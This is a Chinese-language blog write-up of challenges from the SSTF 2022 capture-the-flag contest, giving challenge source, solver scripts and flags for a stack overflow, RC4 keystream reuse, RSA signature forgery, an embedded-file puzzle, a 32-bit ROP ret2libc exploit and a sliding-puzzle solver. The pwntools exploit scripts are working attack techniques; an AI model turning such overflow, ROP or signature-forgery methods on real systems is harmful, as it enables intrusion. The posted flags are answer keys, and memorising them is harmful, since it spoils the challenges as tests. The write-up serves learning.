• [SSTF 2022] 三星安全论坛的小比赛错过了

     

    打开的时候已经比赛完了，不过题目还可以看也可以提交确认正误。有点良心。

    前边有个教程

    0，签到

            这个直接给了flag，一共有690个提交，看来参加的人不多

    1，BOF101

            一个pwn题，附件给了源码，后边102和103不让作，应该是比赛的时候作了101才让作。

    1. #include 
    2. #include 
    3. #include 
    4.  
    5. int printflag(){ 
    6. 	char buf[32];
    7. 	FILE* fp = fopen("/flag", "r"); 
    8. 	fread(buf, 1, 32, fp);
    9. 	fclose(fp);
    10. 	printf("%s", buf);
    11. 	return 0;
    12. }
    13.  
    14. int main() {
    15. 	int check=0xdeadbeef;
    16. 	char name[140];
    17. 	printf("printflag()'s addr: %p\n", &printflag);
    18. 	printf("What is your name?\n: ");
    19. 	scanf("%s", name);	
    20. 	if (check != 0xdeadbeef){
    21. 		printf("[Warning!] BOF detected!\n");
    22. 		exit(0);
    23. 	}
    24. 	return 0;
    25. }

    也就是ret2system这个意思，PIE打开加载地址随机但直接给出了加载地址，直接溢出就行，中间注意要恢复check

    1. from pwn import *
    2.  
    3. #p = process('./bof101')
    4. p = remote('bof101.sstf.site', 1337)
    5.  
    6. context(arch='amd64', log_level='debug')
    7.  
    8. p.recvuntil(b's addr: ')
    9.  
    10. printflag = int(p.recvline(), 16)
    11. print(hex(printflag))
    12.  
    13. p.sendlineafter(b"What is your name?\n: ", b'A'*(0x90-4)+p32(0xdeadbeef)+b'A'*8+ p64(printflag+5))
    14. print(p.recv())
    15. p.ineractive()
    16. #SCTF{n0w_U_R_B0F_3xpEr7}

    2，RC four

    这是一个RC4加密的题，给了一断明文和对应的密文，然后是flag的密文

    1. from Crypto.Cipher import ARC4
    2. from secret import key, flag
    3. from binascii import hexlify
    4.  
    5. #RC4 encrypt function with "key" variable.
    6. def encrypt(data):
    7. 	#check the key is long enough
    8. 	assert(len(key) > 128)
    10. 	#make RC4 instance
    11. 	cipher = ARC4.new(key)
    12.  
    13. 	#We don't use the first 1024 bytes from the key stream.
    14. 	#Actually this is not important for this challenge. Just ignore.
    15. 	cipher.encrypt("0"*1024)
    16.  
    17. 	#encrypt given data, and return it.
    18. 	return cipher.encrypt(data)
    19.  
    20. msg = "RC4 is a Stream Cipher, which is very simple and fast."
    21.  
    22. print (hexlify(encrypt(msg)).decode())
    23. print (hexlify(encrypt(flag)).decode())
    24. #634c3323bd82581d9e5bbfaaeb17212eebfc975b29e3f4452eefc08c09063308a35257f1831d9eb80a583b8e28c6e4d2028df5d53df8
    25. #624c5345afb3494cdd6394bbbf06043ddacad35d28ceed112bb4c8823e45332beb4160dca862d8a80a45649f7a96e9cb

    由于用的同一个密码，而流加密是流是相同的，只需要用密文与明文异或得到流，再用这个流去与flag的密文异或就能得到flag

    1. msg = b"RC4 is a Stream Cipher, which is very simple and fast."
    2.  
    3. c1 = bytes.fromhex('634c3323bd82581d9e5bbfaaeb17212eebfc975b29e3f4452eefc08c09063308a35257f1831d9eb80a583b8e28c6e4d2028df5d53df8')
    4. c2 = bytes.fromhex('624c5345afb3494cdd6394bbbf06043ddacad35d28ceed112bb4c8823e45332beb4160dca862d8a80a45649f7a96e9cb')
    5.  
    6. print(bytes([msg[i]^c1[i]^c2[i] for i in range(len(c2))]))
    7.  
    8. #SCTF{B10ck_c1pH3r_4nd_5tr3am_ciPheR_R_5ymm3tr1c}

    3，RSA101

    远程的RSA题，可以加密一些命令，但不参加"cat flag"，只要传上"cat flag"的密文就能得到flag

    1. from base64 import b64encode, b64decode
    2. from Crypto.Util.number import getStrongPrime, bytes_to_long, long_to_bytes
    3. from os import system
    4.  
    5. p = getStrongPrime(512)
    6. q = getStrongPrime(512)
    7. n = p * q
    8. e = 65537
    9. d = pow(e, -1, (p - 1) * (q - 1))
    10.  
    11. print("[RSA parameters]")
    12. print("n =", hex(n))
    13. print("e =", hex(e))
    14.  
    15. def sign(msg):
    16. 	m = bytes_to_long(msg)
    17. 	s = pow(m, d, n)
    18. 	return long_to_bytes(s)
    19.  
    20. def verify(s):
    21. 	s = bytes_to_long(s)
    22. 	v = pow(s, e, n)
    23. 	return long_to_bytes(v)
    24.  
    25. def welcome():
    26. 	print("\nWelcome to command signer/executor.")
    27. 	print("Menu : 1. Verify and run the signed command")
    28. 	print("       2. Generate a signed command")
    29. 	print("       3. Base64 encoder")
    30. 	print("       4. Exit")
    31.  
    32. while True:
    33. 	welcome()
    34. 	sel = input(" > ").strip()
    35. 	if sel == "1":
    36. 		sgn = input("Signed command: ").strip()
    37. 		sgn = b64decode(sgn)
    38. 		cmd = verify(sgn)
    39.  
    40. 		commands = ["ls -l", "pwd", "id", "cat flag"]
    41. 		if cmd.decode() in commands:
    42. 			system(cmd)
    43. 		else:
    44. 			print("Possible commands: ", commands)
    45.  
    46. 	elif sel == "2":
    47. 		cmd = input("Base64 encoded command to sign: ")
    48. 		cmd = b64decode(cmd)
    49. 		if cmd == b"cat flag":
    50. 			print("It's forbidden.")
    51. 		else:
    52. 			print("Signed command:", b64encode(sign(cmd)).decode())
    53.  
    54. 	elif sel == "3":
    55. 		cmd = input("String to encode: ").strip().encode()
    56. 		print("Base64 encoded string:", b64encode(cmd).decode())
    57.  
    58. 	elif sel == "4":
    59. 		print("bye.")
    60. 		exit()
    61.  
    62. 	else:
    63. 		print("Invalid selection.")

    根据公式 m^e = c mod n有 (m1*m2)^e = c1*c2 mod n这样先求出m1*m2的密文和m2的密文就能还原出m1的密文

    1. n = 0xb2bb275d8fe843e80ce374b0ce029823690f0b54aed519823471b1b25e7c5a88d6f702cac9904601de655fa12ec0387b4ae2b3cd21a9c117694f8c0672fc794cc5839a4fefe75628e37b876b8b3279a0b8eb9c770d44ccd284675dd88f3081ece815825222d0809d56b86563ace017c6053508a0726fc2e0b9e39d77d58e9139
    2. e = 0x10001
    3.  
    4. m1 = 'aWQ=' #id
    5. c1 = 'qe/4qCAGdEaTD3x6FMxdQttRxws+4B644++WO2CwgLrLMwH6XVLTptKPB11rV05k2ptP2eg95ya2RFlX+Ai+xAlueUIwpGJv7aJmAWM2ql3QOFHfWrM2Ug3gOG/ZrMCFllJf6TSFbIatPkM8QPDuxJguHP76bJ9LbX/tC2h0QBA='
    6.  
    7. m2 = 'KOnKsqaqdklLPA==' # id * cat flag
    8. c2 = 'IrXRx0ClBV7YBkoHRYgaJvC2790qJezvRRHAqZR9Q/Zac33N+SKImnBldBmRaqJxiSdBv0nw5pTuVBr7pEafsnPX8cBossw02LqAbyRGdfPEk+CavU5MHfeOX1UeE7dt28jUDvsKQRkEwX2RL5bhV1o1gJxJGytjBjFqQ9mp9ho='
    9.  
    10. from base64 import *
    11. from Crypto.Util.number import long_to_bytes, bytes_to_long
    12. from gmpy2 import invert
    13.  
    14. c1 = bytes_to_long(b64decode(c1))
    15. c2 = bytes_to_long(b64decode(c2))
    16.  
    17. c = (invert(c1, n)*c2) %n
    18. print(c)
    19. bc = b64encode(long_to_bytes(c))
    20. print(bc)
    21.  
    22. #o5O43WLT5/JFn9daBKXdnaaS75QRTEvRZCZLvkR5aleB2PENwBw5YNDYZRxdytIsvnBqjQ3Zp/g7Fokj4GRVL93XlsgpUAcVMqrT1ssQq1WqL+mQDn5n2yggU2qAwPq7r02eEf2GzlY1+KJTmEF3jU8/K40SccJA3RKsZOQZN98=
    23. #SCTF{Mult1pLic4tiv3_pr0perty_of_RSA}
    24. '''
    25. shi@ubuntu:~/2022sstf/bol$ nc rsa101.sstf.site 1104
    26. [RSA parameters]
    27. n = 0xb2bb275d8fe843e80ce374b0ce029823690f0b54aed519823471b1b25e7c5a88d6f702cac9904601de655fa12ec0387b4ae2b3cd21a9c117694f8c0672fc794cc5839a4fefe75628e37b876b8b3279a0b8eb9c770d44ccd284675dd88f3081ece815825222d0809d56b86563ace017c6053508a0726fc2e0b9e39d77d58e9139
    28. e = 0x10001
    30. Welcome to command signer/executor.
    31. Menu : 1. Verify and run the signed command
    32.        2. Generate a signed command
    33.        3. Base64 encoder
    34.        4. Exit
    35.  > 2
    36. Base64 encoded command to sign: aWQ=
    37. Signed command: qe/4qCAGdEaTD3x6FMxdQttRxws+4B644++WO2CwgLrLMwH6XVLTptKPB11rV05k2ptP2eg95ya2RFlX+Ai+xAlueUIwpGJv7aJmAWM2ql3QOFHfWrM2Ug3gOG/ZrMCFllJf6TSFbIatPkM8QPDuxJguHP76bJ9LbX/tC2h0QBA=
    39. Welcome to command signer/executor.
    40. Menu : 1. Verify and run the signed command
    41.        2. Generate a signed command
    42.        3. Base64 encoder
    43.        4. Exit
    44.  > 2
    45. Base64 encoded command to sign: KOnKsqaqdklLPA==
    46. Signed command: IrXRx0ClBV7YBkoHRYgaJvC2790qJezvRRHAqZR9Q/Zac33N+SKImnBldBmRaqJxiSdBv0nw5pTuVBr7pEafsnPX8cBossw02LqAbyRGdfPEk+CavU5MHfeOX1UeE7dt28jUDvsKQRkEwX2RL5bhV1o1gJxJGytjBjFqQ9mp9ho=
    48. Welcome to command signer/executor.
    49. Menu : 1. Verify and run the signed command
    50.        2. Generate a signed command
    51.        3. Base64 encoder
    52.        4. Exit
    53.  > 1
    54. Signed command: o5O43WLT5/JFn9daBKXdnaaS75QRTEvRZCZLvkR5aleB2PENwBw5YNDYZRxdytIsvnBqjQ3Zp/g7Fokj4GRVL93XlsgpUAcVMqrT1ssQq1WqL+mQDn5n2yggU2qAwPq7r02eEf2GzlY1+KJTmEF3jU8/K40SccJA3RKsZOQZN98=
    55. SCTF{Mult1pLic4tiv3_pr0perty_of_RSA}
    56. '''

    4， DocxAchive

    这是个word文档，里边有个嵌入文件，先把扩展名改为zip然后解开能得到oleObject1.bin这个文件也不知道怎么打开，先用010打开看看发现有个PNG文件头，将这一块复制出来。打开里边就是个flag

    5, PPPR

    一开始以为一定要用PPPR感觉很麻烦，打开后看就是一个栈溢出题，先puts(got.puts)再回到main（由于这里边没有/bin/sh所以要用libc里的bin/sh才用到libc，原题原意可能是用pppr直接用输入的串，因为system已经给出了），然后在得到libc后再作system(bin/sh) 

    1. from pwn import *
    2.  
    3. elf = ELF('./pppr')
    4. context(arch='i386', log_level='debug')
    5.  
    6. #p = process('./pppr')
    7. p = remote('pppr.sstf.site', 1337)
    8.  
    9. #gdb.attach(p, "b*0x80485b2")
    10. #pause()
    11.  
    12. bss = 0x804a100
    13. pay = flat(b'A'*8,0, elf.plt['puts'],elf.sym['main'],elf.got['puts'])
    14.  
    15. p.sendline(pay)
    16. libc_base = u32(p.recv(4)) - 0x6d1e0  #local 0x6dc30
    17. bin_sh = libc_base + 0x18b363 #0x18e363
    18.  
    19. print('libc:', hex(libc_base))
    20.  
    21. pay = flat(b'A'*8,0, elf.plt['system'],0, bin_sh)
    22. p.sendline(pay)
    23.  
    24. p.interactive()
    25. #SCTF{Anc13nt_x86_R0P_5kiLl}

    6，Flip Puzzle

    这是一个4阶拼版游戏，复原4*4块的位置。由于是计算机上的虚拟，这个没有上下左右边界，可以在左边界左移到最右。另外这里没有空格，是用与A互换实现的，实际上完全一样把A当空格就行了。

    1. #!/usr/bin/env python3
    2.  
    3. import random
    4. import os
    5. import signal
    6. import sys
    7.  
    8. LIMIT_TIME = 50
    9. NUM_STAGE = 100
    10. SHUFFLE_NUM = 11
    11.  
    12. def bye():
    13.     print ("Bye~")
    14.     sys.exit()
    15.  
    16. signal.signal(signal.SIGALRM, bye)
    17. signal.alarm(LIMIT_TIME)
    18.  
    19. class Challenge:
    20.     goal = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P"
    21.     status = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P"
    22.     xpos = 0
    23.     ypos = 0
    24.     dist = 0
    25.  
    26.     def init(self):
    27.         self.status = self.goal
    28.  
    29.     def shuffle(self, num):
    30.         options = [(0, +1), (0, -1), (+1, 0), (-1, 0)]
    31.         for _ in range(num):
    32.             dx, dy = random.choice(options)
    33.             self.move(dx, dy)
    34.  
    35.     def move(self, dx, dy):
    36.         assert abs(dx + dy) == 1
    37.         assert dx == 0 or dy == 0
    38.         arr = self.status.split(",")
    39.         p1 = self.xpos * 4 + self.ypos
    40.         xxpos = (self.xpos + dx + 4) % 4
    41.         yypos = (self.ypos + dy + 4) % 4
    42.         p2 = xxpos * 4 + yypos
    43.  
    44.         arr[p1], arr[p2] = arr[p2], arr[p1]
    45.         self.xpos = xxpos
    46.         self.ypos = yypos
    47.         self.status = ",".join(arr)
    48.  
    49.     def ok(self):
    50.         return self.goal == self.status
    51.  
    52.     def dump(self):
    53.         arr = self.status.split(",")
    54.  
    55.         for i in range(0, 4):
    56.             print ("".join(arr[i*4:i*4+4]))
    57.  
    58. for _ in range(NUM_STAGE):
    59.     chall = Challenge()
    60.     chall.shuffle(SHUFFLE_NUM)
    61.     cnt = 0
    62.     print("Current Status :")
    63.     chall.dump()
    64.     while chall.ok() == False:
    65.         try:
    66.             dx, dy = map(int, input(">>>").split(","))
    67.             chall.move(dx, dy)
    68.             cnt = cnt + 1
    69.             if cnt > SHUFFLE_NUM:
    70.                 bye()
    71.         except:
    72.             bye()
    73.     print ("Solved!")
    74.  
    75. print("SCTF{fake-flag}")

    由于需要成功100次才行，所以不能在线解题，要先生成个库，也就是11步所能走到的所有情况。这个用分层遍历来实现。由于要走11步，所以这个运行花费大量时间，估计这也是题目完成人少的原因

    1. def move(status, dx, dy):
    2.     arr = status.split(",")
    3.     p1 = arr.index('A')
    4.     p1x = p1 // 4
    5.     p1y = p1 % 4 
    6.     p2x = (p1x+dx)%4
    7.     p2y = (p1y+dy)%4 
    8.     p2 = p2x*4 + p2y 
    9.     arr[p1], arr[p2] = arr[p2], arr[p1]
    10.     return ",".join(arr)    
    11.     
    12. goal = "A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P"
    13. options = [[0, +1], [0, -1], [+1, 0], [-1, 0]]
    14. SHUFFLE_NUM = 11
    15. a_m = []
    16. a_s = []
    17. def get_s(m, t, s):
    18.     global a_m,a_s 
    19.     if t in a_m:
    20.         return a_s[a_m.index(t)]
    21.         
    22.     a_m = [m]
    23.     a_s = [s]
    24.     start = 0
    25.     end = len(a_m)
    26.     for _ in range(SHUFFLE_NUM):
    27.         print(_)
    28.         newstate = {}
    29.         for j in range(start, end):
    30.             for i in range(4):
    31.                 ns = move(a_m[j], options[i][0], options[i][1])
    32.                 if ns not in a_m:
    33.                     a_m.append(ns)
    34.                     a_s.append(a_s[j]+str(i))
    35.         start = end 
    36.         end = len(a_m)
    37.  
    38. get_s(goal,goal, '')  #取得所有状态
    39. print(len(a_m), a_m[:10], a_s[:10])
    40.  
    41. open('a_m.dat', 'w').write("\n".join(a_m))
    42. open('a_s.dat', 'w').write("\n".join(a_s))

    生成了一个10M的库，和所走的最短路径，然后再连线查表返回步数

    1. a_m = []
    2. with open("a_m.dat") as f:
    3.     for i in range(324747):
    4.         a_m.append(f.readline().strip('\n'))
    5. a_s = []
    6. with open("a_s.dat") as f:
    7.     for i in range(324747):
    8.         a_s.append(f.readline().strip('\n'))
    9.  
    10. print(len(a_m), len(a_s))
    11.  
    12. op_r = [[0, -1], [0, 1], [-1, 0], [1, 0]]
    13. print(op_r[0][0])
    14. from pwn import *
    15.  
    16. #context(arch='amd64', log_level= 'debug')
    17. p = remote("flippuzzle.sstf.site", 8098) 
    18. #p = process(["d:/python/python","app.py"])
    19. NUM_STAGE = 100
    20. for i in range(NUM_STAGE):
    21.     print(i, end='')
    22.     p.recvuntil(b"Current Status :\n")
    23.     
    24.     old_status = p.recvuntil(b'>>>', drop=True).replace(b'\n', b'').decode()
    25.     old_status = ",".join(list(old_status))
    26.     print('old:', old_status)
    27.     ok = a_s[a_m.index(old_status)][::-1]
    28.     for i in ok:
    29.         i = int(i)
    30.         r = op_r[i]
    31.         p.sendline(str(r[0]) +","+str( r[1]))
    32.     print(p.recvline())
    33. print(p.recvline())
    34. #SCTF{what-is-your-favorite-algorithm_0x38dc129?}

  • 相关阅读:
    资本-劳动力错配指数计算、金融错配指标两大维度指标（内附代码）
    ​【C语言】长篇详解，字符系列篇3-----strstr，strtok，strerror字符串函数的使用【图文详解​】
    韦东山 嵌入式Linux驱动开发基础知识 【hello驱动 像单片机那样驱动 用结构体封装驱动
    第三章：运算符
    本地web服务器配置（IIS）
    【微服务架构组件】Apollo
    useEffect
    Apollo 应用与源码分析：Monitor监控-硬件监控-CAN监控
    【Linux】信号（1）认识、记录和产生信号
    对深度学习中的归一化技术的思考与总结
  • 原文地址：https://blog.csdn.net/weixin_52640415/article/details/126517986